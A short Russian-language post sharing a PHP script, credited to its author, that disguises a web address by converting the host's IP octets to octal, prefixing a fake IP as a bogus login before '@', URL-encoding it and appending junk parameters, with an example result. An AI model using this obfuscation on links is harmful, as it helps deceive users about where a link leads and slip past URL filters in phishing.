Скрипт для кодирования урлов (by me) PHP: $url = 'www.freehost.com.ua';//исходные данные $ip = gethostbyname($url);//узнаем ip $ch = explode('.',$ip);//разделяем ip на 4 части foreach($ch as $value)$v_8[] = '0'.base_convert($value, 10, 8);//каждуч из частей конвертируем в 8-ю систему счисления $url = '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин $url = urlencode($url);//кодируем в формат url (знак @ превратится в %40) $url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?" echo $url; пример: было www.freehost.com.ua стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php